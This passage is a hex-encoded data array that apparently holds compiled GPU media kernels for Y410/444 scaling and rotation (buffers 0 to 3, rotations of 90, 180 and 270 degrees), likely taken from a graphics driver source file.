0x00000a10, 0xbfff0019, 0x00000a30, 0xbfff000a, 0x00000a40, 0xbfff000e, 0x00000a60, 0xbfff000b,
0x00000a70, 0xbfff000f, 0x00000a90, 0xbfff0012, 0x00000aa0, 0xbfff0016, 0x00000ac0, 0xbfff0013,
0x00000ad0, 0xbfff0017, 0x00000af0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000020, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f305f66, 0x5f746f52, 0x00303732,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b,
0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001a0, 0x3fff0002, 0x00000240, 0x3fff0006,
0x00000250, 0x3fff0005, 0x00000280, 0x3fff0000, 0x000005b0, 0xbfff000c, 0x000005e0, 0xbfff0014,
0x00000670, 0xbfff0010, 0x000006c0, 0xbfff0018, 0x000006d0, 0x3fff0003, 0x000006e0, 0x3fff007c,
0x000006f0, 0x3fff007b, 0x000006f0, 0x3fff0004, 0x00000870, 0x0005006d, 0x00000870, 0x0005006e,
0x00000870, 0x0005006f, 0x00000870, 0x00050070, 0x00000870, 0x00050071, 0x000008b0, 0x3fff0072,
0x000008e0, 0x3fff0073, 0x00000910, 0x3fff0074, 0x00000930, 0xbfff000d, 0x00000940, 0x3fff0075,
0x00000960, 0xbfff0015, 0x00000970, 0x3fff0076, 0x000009a0, 0x3fff0077, 0x000009d0, 0x3fff0078,
0x000009f0, 0xbfff0011, 0x00000a00, 0x3fff007a, 0x00000a00, 0x3fff0079, 0x00000a20, 0x3fff006c,
0x00000a20, 0xbfff0019, 0x00000a40, 0xbfff000a, 0x00000a50, 0xbfff000e, 0x00000a70, 0xbfff000b,
0x00000a80, 0xbfff000f, 0x00000aa0, 0xbfff0012, 0x00000ab0, 0xbfff0016, 0x00000ad0, 0xbfff0013,
0x00000ae0, 0xbfff0017, 0x00000b00, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000020, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f305f66, 0x5f746f52, 0x00003039,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b,
0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x00000190, 0x3fff0002, 0x00000210, 0x3fff0006,
0x00000220, 0x3fff0005, 0x00000250, 0x3fff0000, 0x00000580, 0xbfff000c, 0x000005b0, 0xbfff0014,
0x00000640, 0xbfff0010, 0x00000690, 0xbfff0018, 0x000006a0, 0x3fff0003, 0x000006b0, 0x3fff007c,
0x000006c0, 0x3fff007b, 0x000006c0, 0x3fff0004, 0x00000840, 0x0005006d, 0x00000840, 0x0005006e,
0x00000840, 0x0005006f, 0x00000840, 0x00050070, 0x00000840, 0x00050071, 0x00000880, 0x3fff0072,
0x000008b0, 0x3fff0073, 0x000008e0, 0x3fff0074, 0x00000900, 0xbfff000d, 0x00000910, 0x3fff0075,
0x00000930, 0xbfff0015, 0x00000940, 0x3fff0076, 0x00000970, 0x3fff0077, 0x000009a0, 0x3fff0078,
0x000009c0, 0xbfff0011, 0x000009d0, 0x3fff007a, 0x000009d0, 0x3fff0079, 0x000009f0, 0x3fff006c,
0x000009f0, 0xbfff0019, 0x00000a10, 0xbfff000a, 0x00000a20, 0xbfff000e, 0x00000a40, 0xbfff000b,
0x00000a50, 0xbfff000f, 0x00000a70, 0xbfff0012, 0x00000a80, 0xbfff0016, 0x00000aa0, 0xbfff0013,
0x00000ab0, 0xbfff0017, 0x00000ad0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001b8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x00315f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000070, 0xbfff006b, 0x000000a0, 0x0000ffff,
0x000000c0, 0x3fff0001, 0x000001f0, 0x3fff0005, 0x00000220, 0x3fff0002, 0x00000250, 0x3fff0000,
0x00000280, 0x3fff0006, 0x000005a0, 0xbfff001c, 0x000005d0, 0xbfff0024, 0x00000660, 0xbfff0020,
0x000006a0, 0x3fff007c, 0x000006b0, 0xbfff0028, 0x000006c0, 0x3fff007b, 0x000006c0, 0x3fff0003,
0x000006f0, 0x3fff0004, 0x00000870, 0x0005006d, 0x00000870, 0x0005006e, 0x00000870, 0x0005006f,
0x00000870, 0x00050070, 0x00000870, 0x00050071, 0x000008b0, 0x3fff0072, 0x000008e0, 0x3fff0073,
0x00000910, 0x3fff0074, 0x00000930, 0xbfff001d, 0x00000940, 0x3fff0075, 0x00000960, 0xbfff0025,
0x00000970, 0x3fff0076, 0x000009a0, 0x3fff0077, 0x000009d0, 0x3fff0078, 0x000009f0, 0xbfff0021,
0x00000a00, 0x3fff007a, 0x00000a00, 0x3fff0079, 0x00000a20, 0x3fff006c, 0x00000a20, 0xbfff0029,
0x00000a40, 0xbfff001a, 0x00000a50, 0xbfff001e, 0x00000a70, 0xbfff001b, 0x00000a80, 0xbfff001f,
0x00000aa0, 0xbfff0022, 0x00000ab0, 0xbfff0026, 0x00000ad0, 0xbfff0023, 0x00000ae0, 0xbfff0027,
0x00000b00, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005,
0x00000001, 0x00000044, 0x00000028, 0x00000006, 0x00000001, 0x0000006c, 0x00000148, 0x00000007,
0x00000001, 0x000001b4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f315f66, 0x5f746f52, 0x00303831,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000070, 0xbfff006b,
0x000000a0, 0x0000ffff, 0x000000c0, 0x3fff0001, 0x000001c0, 0x3fff0000, 0x00000260, 0x3fff0006,
0x00000270, 0x3fff0002, 0x000002b0, 0x3fff0005, 0x000005b0, 0xbfff001c, 0x000005e0, 0xbfff0024,
0x00000670, 0xbfff0020, 0x000006b0, 0x3fff007c, 0x000006c0, 0xbfff0028, 0x000006d0, 0x3fff007b,
0x000006d0, 0x3fff0003, 0x00000700, 0x3fff0004, 0x00000880, 0x0005006d, 0x00000880, 0x0005006e,
0x00000880, 0x0005006f, 0x00000880, 0x00050070, 0x00000880, 0x00050071, 0x000008c0, 0x3fff0072,
0x000008f0, 0x3fff0073, 0x00000920, 0x3fff0074, 0x00000940, 0xbfff001d, 0x00000950, 0x3fff0075,
0x00000970, 0xbfff0025, 0x00000980, 0x3fff0076, 0x000009b0, 0x3fff0077, 0x000009e0, 0x3fff0078,
0x00000a00, 0xbfff0021, 0x00000a10, 0x3fff007a, 0x00000a10, 0x3fff0079, 0x00000a30, 0x3fff006c,
0x00000a30, 0xbfff0029, 0x00000a50, 0xbfff001a, 0x00000a60, 0xbfff001e, 0x00000a80, 0xbfff001b,
0x00000a90, 0xbfff001f, 0x00000ab0, 0xbfff0022, 0x00000ac0, 0xbfff0026, 0x00000ae0, 0xbfff0023,
0x00000af0, 0xbfff0027, 0x00000b10, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000020, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f315f66, 0x5f746f52, 0x00303732,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000070, 0xbfff006b,
0x000000a0, 0x0000ffff, 0x000000c0, 0x3fff0001, 0x000001b0, 0x3fff0002, 0x00000250, 0x3fff0006,
0x00000260, 0x3fff0005, 0x00000290, 0x3fff0000, 0x000005e0, 0xbfff001c, 0x00000610, 0xbfff0024,
0x000006a0, 0xbfff0020, 0x000006f0, 0xbfff0028, 0x00000700, 0x3fff0003, 0x00000710, 0x3fff007c,
0x00000720, 0x3fff007b, 0x00000720, 0x3fff0004, 0x000008a0, 0x0005006d, 0x000008a0, 0x0005006e,
0x000008a0, 0x0005006f, 0x000008a0, 0x00050070, 0x000008a0, 0x00050071, 0x000008e0, 0x3fff0072,
0x00000910, 0x3fff0073, 0x00000940, 0x3fff0074, 0x00000960, 0xbfff001d, 0x00000970, 0x3fff0075,
0x00000990, 0xbfff0025, 0x000009a0, 0x3fff0076, 0x000009d0, 0x3fff0077, 0x00000a00, 0x3fff0078,
0x00000a20, 0xbfff0021, 0x00000a30, 0x3fff007a, 0x00000a30, 0x3fff0079, 0x00000a50, 0x3fff006c,
0x00000a50, 0xbfff0029, 0x00000a70, 0xbfff001a, 0x00000a80, 0xbfff001e, 0x00000aa0, 0xbfff001b,
0x00000ab0, 0xbfff001f, 0x00000ad0, 0xbfff0022, 0x00000ae0, 0xbfff0026, 0x00000b00, 0xbfff0023,
0x00000b10, 0xbfff0027, 0x00000b30, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000020, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f315f66, 0x5f746f52, 0x00003039,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000070, 0xbfff006b,
0x000000a0, 0x0000ffff, 0x000000c0, 0x3fff0001, 0x000001a0, 0x3fff0002, 0x00000220, 0x3fff0006,
0x00000230, 0x3fff0005, 0x00000260, 0x3fff0000, 0x000005b0, 0xbfff001c, 0x000005e0, 0xbfff0024,
0x00000670, 0xbfff0020, 0x000006c0, 0xbfff0028, 0x000006d0, 0x3fff0003, 0x000006e0, 0x3fff007c,
0x000006f0, 0x3fff007b, 0x000006f0, 0x3fff0004, 0x00000870, 0x0005006d, 0x00000870, 0x0005006e,
0x00000870, 0x0005006f, 0x00000870, 0x00050070, 0x00000870, 0x00050071, 0x000008b0, 0x3fff0072,
0x000008e0, 0x3fff0073, 0x00000910, 0x3fff0074, 0x00000930, 0xbfff001d, 0x00000940, 0x3fff0075,
0x00000960, 0xbfff0025, 0x00000970, 0x3fff0076, 0x000009a0, 0x3fff0077, 0x000009d0, 0x3fff0078,
0x000009f0, 0xbfff0021, 0x00000a00, 0x3fff007a, 0x00000a00, 0x3fff0079, 0x00000a20, 0x3fff006c,
0x00000a20, 0xbfff0029, 0x00000a40, 0xbfff001a, 0x00000a50, 0xbfff001e, 0x00000a70, 0xbfff001b,
0x00000a80, 0xbfff001f, 0x00000aa0, 0xbfff0022, 0x00000ab0, 0xbfff0026, 0x00000ad0, 0xbfff0023,
0x00000ae0, 0xbfff0027, 0x00000b00, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001b8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x00325f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000b0, 0x3fff0001, 0x000001e0, 0x3fff0005, 0x00000210, 0x3fff0002, 0x00000240, 0x3fff0000,
0x00000270, 0x3fff0006, 0x00000590, 0xbfff002c, 0x000005c0, 0xbfff0034, 0x00000650, 0xbfff0030,
0x00000690, 0x3fff007c, 0x000006a0, 0xbfff0038, 0x000006b0, 0x3fff007b, 0x000006b0, 0x3fff0003,
0x000006e0, 0x3fff0004, 0x00000860, 0x0005006d, 0x00000860, 0x0005006e, 0x00000860, 0x0005006f,
0x00000860, 0x00050070, 0x00000860, 0x00050071, 0x000008a0, 0x3fff0072, 0x000008d0, 0x3fff0073,
0x00000900, 0x3fff0074, 0x00000920, 0xbfff002d, 0x00000930, 0x3fff0075, 0x00000950, 0xbfff0035,
0x00000960, 0x3fff0076, 0x00000990, 0x3fff0077, 0x000009c0, 0x3fff0078, 0x000009e0, 0xbfff0031,
0x000009f0, 0x3fff007a, 0x000009f0, 0x3fff0079, 0x00000a10, 0x3fff006c, 0x00000a10, 0xbfff0039,
0x00000a30, 0xbfff002a, 0x00000a40, 0xbfff002e, 0x00000a60, 0xbfff002b, 0x00000a70, 0xbfff002f,
0x00000a90, 0xbfff0032, 0x00000aa0, 0xbfff0036, 0x00000ac0, 0xbfff0033, 0x00000ad0, 0xbfff0037,
0x00000af0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005,
0x00000001, 0x00000044, 0x00000028, 0x00000006, 0x00000001, 0x0000006c, 0x00000148, 0x00000007,
0x00000001, 0x000001b4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f325f66, 0x5f746f52, 0x00303831,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b,
0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001b0, 0x3fff0000, 0x00000250, 0x3fff0006,
0x00000260, 0x3fff0002, 0x000002a0, 0x3fff0005, 0x000005a0, 0xbfff002c, 0x000005d0, 0xbfff0034,
0x00000660, 0xbfff0030, 0x000006a0, 0x3fff007c, 0x000006b0, 0xbfff0038, 0x000006c0, 0x3fff007b,
0x000006c0, 0x3fff0003, 0x000006f0, 0x3fff0004, 0x00000870, 0x0005006d, 0x00000870, 0x0005006e,
0x00000870, 0x0005006f, 0x00000870, 0x00050070, 0x00000870, 0x00050071, 0x000008b0, 0x3fff0072,
0x000008e0, 0x3fff0073, 0x00000910, 0x3fff0074, 0x00000930, 0xbfff002d, 0x00000940, 0x3fff0075,
0x00000960, 0xbfff0035, 0x00000970, 0x3fff0076, 0x000009a0, 0x3fff0077, 0x000009d0, 0x3fff0078,
0x000009f0, 0xbfff0031, 0x00000a00, 0x3fff007a, 0x00000a00, 0x3fff0079, 0x00000a20, 0x3fff006c,
0x00000a20, 0xbfff0039, 0x00000a40, 0xbfff002a, 0x00000a50, 0xbfff002e, 0x00000a70, 0xbfff002b,
0x00000a80, 0xbfff002f, 0x00000aa0, 0xbfff0032, 0x00000ab0, 0xbfff0036, 0x00000ad0, 0xbfff0033,
0x00000ae0, 0xbfff0037, 0x00000b00, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000020, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f325f66, 0x5f746f52, 0x00303732,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b,
0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001a0, 0x3fff0002, 0x00000240, 0x3fff0006,
0x00000250, 0x3fff0005, 0x00000280, 0x3fff0000, 0x000005d0, 0xbfff002c, 0x00000600, 0xbfff0034,
0x00000690, 0xbfff0030, 0x000006e0, 0xbfff0038, 0x000006f0, 0x3fff0003, 0x00000700, 0x3fff007c,
0x00000710, 0x3fff007b, 0x00000710, 0x3fff0004, 0x00000890, 0x0005006d, 0x00000890, 0x0005006e,
0x00000890, 0x0005006f, 0x00000890, 0x00050070, 0x00000890, 0x00050071, 0x000008d0, 0x3fff0072,
0x00000900, 0x3fff0073, 0x00000930, 0x3fff0074, 0x00000950, 0xbfff002d, 0x00000960, 0x3fff0075,
0x00000980, 0xbfff0035, 0x00000990, 0x3fff0076, 0x000009c0, 0x3fff0077, 0x000009f0, 0x3fff0078,
0x00000a10, 0xbfff0031, 0x00000a20, 0x3fff007a, 0x00000a20, 0x3fff0079, 0x00000a40, 0x3fff006c,
0x00000a40, 0xbfff0039, 0x00000a60, 0xbfff002a, 0x00000a70, 0xbfff002e, 0x00000a90, 0xbfff002b,
0x00000aa0, 0xbfff002f, 0x00000ac0, 0xbfff0032, 0x00000ad0, 0xbfff0036, 0x00000af0, 0xbfff0033,
0x00000b00, 0xbfff0037, 0x00000b20, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000020, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f325f66, 0x5f746f52, 0x00003039,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b,
0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x00000190, 0x3fff0002, 0x00000210, 0x3fff0006,
0x00000220, 0x3fff0005, 0x00000250, 0x3fff0000, 0x000005a0, 0xbfff002c, 0x000005d0, 0xbfff0034,
0x00000660, 0xbfff0030, 0x000006b0, 0xbfff0038, 0x000006c0, 0x3fff0003, 0x000006d0, 0x3fff007c,
0x000006e0, 0x3fff007b, 0x000006e0, 0x3fff0004, 0x00000860, 0x0005006d, 0x00000860, 0x0005006e,
0x00000860, 0x0005006f, 0x00000860, 0x00050070, 0x00000860, 0x00050071, 0x000008a0, 0x3fff0072,
0x000008d0, 0x3fff0073, 0x00000900, 0x3fff0074, 0x00000920, 0xbfff002d, 0x00000930, 0x3fff0075,
0x00000950, 0xbfff0035, 0x00000960, 0x3fff0076, 0x00000990, 0x3fff0077, 0x000009c0, 0x3fff0078,
0x000009e0, 0xbfff0031, 0x000009f0, 0x3fff007a, 0x000009f0, 0x3fff0079, 0x00000a10, 0x3fff006c,
0x00000a10, 0xbfff0039, 0x00000a30, 0xbfff002a, 0x00000a40, 0xbfff002e, 0x00000a60, 0xbfff002b,
0x00000a70, 0xbfff002f, 0x00000a90, 0xbfff0032, 0x00000aa0, 0xbfff0036, 0x00000ac0, 0xbfff0033,
0x00000ad0, 0xbfff0037, 0x00000af0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001b8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x00335f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000080, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000b0, 0x3fff0001, 0x000001e0, 0x3fff0005, 0x00000210, 0x3fff0002, 0x00000240, 0x3fff0000,
0x00000270, 0x3fff0006, 0x00000590, 0xbfff003c, 0x000005c0, 0xbfff0044, 0x00000650, 0xbfff0040,
0x00000690, 0x3fff007c, 0x000006a0, 0xbfff0048, 0x000006b0, 0x3fff007b, 0x000006b0, 0x3fff0003,
0x000006e0, 0x3fff0004, 0x00000860, 0x0005006d, 0x00000860, 0x0005006e, 0x00000860, 0x0005006f,
0x00000860, 0x00050070, 0x00000860, 0x00050071, 0x000008a0, 0x3fff0072, 0x000008d0, 0x3fff0073,
0x00000900, 0x3fff0074, 0x00000920, 0xbfff003d, 0x00000930, 0x3fff0075, 0x00000950, 0xbfff0045,
0x00000960, 0x3fff0076, 0x00000990, 0x3fff0077, 0x000009c0, 0x3fff0078, 0x000009e0, 0xbfff0041,
0x000009f0, 0x3fff007a, 0x000009f0, 0x3fff0079, 0x00000a10, 0x3fff006c, 0x00000a10, 0xbfff0049,
0x00000a30, 0xbfff003a, 0x00000a40, 0xbfff003e, 0x00000a60, 0xbfff003b, 0x00000a70, 0xbfff003f,
0x00000a90, 0xbfff0042, 0x00000aa0, 0xbfff0046, 0x00000ac0, 0xbfff0043, 0x00000ad0, 0xbfff0047,
0x00000af0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005,
0x00000001, 0x00000044, 0x00000028, 0x00000006, 0x00000001, 0x0000006c, 0x00000148, 0x00000007,
0x00000001, 0x000001b4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f335f66, 0x5f746f52, 0x00303831,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000080, 0xbfff006b,
0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001b0, 0x3fff0000, 0x00000250, 0x3fff0006,
0x00000260, 0x3fff0002, 0x000002a0, 0x3fff0005, 0x000005a0, 0xbfff003c, 0x000005d0, 0xbfff0044,
0x00000660, 0xbfff0040, 0x000006a0, 0x3fff007c, 0x000006b0, 0xbfff0048, 0x000006c0, 0x3fff007b,
0x000006c0, 0x3fff0003, 0x000006f0, 0x3fff0004, 0x00000870, 0x0005006d, 0x00000870, 0x0005006e,
0x00000870, 0x0005006f, 0x00000870, 0x00050070, 0x00000870, 0x00050071, 0x000008b0, 0x3fff0072,
0x000008e0, 0x3fff0073, 0x00000910, 0x3fff0074, 0x00000930, 0xbfff003d, 0x00000940, 0x3fff0075,
0x00000960, 0xbfff0045, 0x00000970, 0x3fff0076, 0x000009a0, 0x3fff0077, 0x000009d0, 0x3fff0078,
0x000009f0, 0xbfff0041, 0x00000a00, 0x3fff007a, 0x00000a00, 0x3fff0079, 0x00000a20, 0x3fff006c,
0x00000a20, 0xbfff0049, 0x00000a40, 0xbfff003a, 0x00000a50, 0xbfff003e, 0x00000a70, 0xbfff003b,
0x00000a80, 0xbfff003f, 0x00000aa0, 0xbfff0042, 0x00000ab0, 0xbfff0046, 0x00000ad0, 0xbfff0043,
0x00000ae0, 0xbfff0047, 0x00000b00, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000020, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f335f66, 0x5f746f52, 0x00303732,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000080, 0xbfff006b,
0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001a0, 0x3fff0002, 0x00000240, 0x3fff0006,
0x00000250, 0x3fff0005, 0x00000280, 0x3fff0000, 0x000005d0, 0xbfff003c, 0x00000600, 0xbfff0044,
0x00000690, 0xbfff0040, 0x000006e0, 0xbfff0048, 0x000006f0, 0x3fff0003, 0x00000700, 0x3fff007c,
0x00000710, 0x3fff007b, 0x00000710, 0x3fff0004, 0x00000890, 0x0005006d, 0x00000890, 0x0005006e,
0x00000890, 0x0005006f, 0x00000890, 0x00050070, 0x00000890, 0x00050071, 0x000008d0, 0x3fff0072,
0x00000900, 0x3fff0073, 0x00000930, 0x3fff0074, 0x00000950, 0xbfff003d, 0x00000960, 0x3fff0075,
0x00000980, 0xbfff0045, 0x00000990, 0x3fff0076, 0x000009c0, 0x3fff0077, 0x000009f0, 0x3fff0078,
0x00000a10, 0xbfff0041, 0x00000a20, 0x3fff007a, 0x00000a20, 0x3fff0079, 0x00000a40, 0x3fff006c,
0x00000a40, 0xbfff0049, 0x00000a60, 0xbfff003a, 0x00000a70, 0xbfff003e, 0x00000a90, 0xbfff003b,
0x00000aa0, 0xbfff003f, 0x00000ac0, 0xbfff0042, 0x00000ad0, 0xbfff0046, 0x00000af0, 0xbfff0043,
0x00000b00, 0xbfff0047, 0x00000b20, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
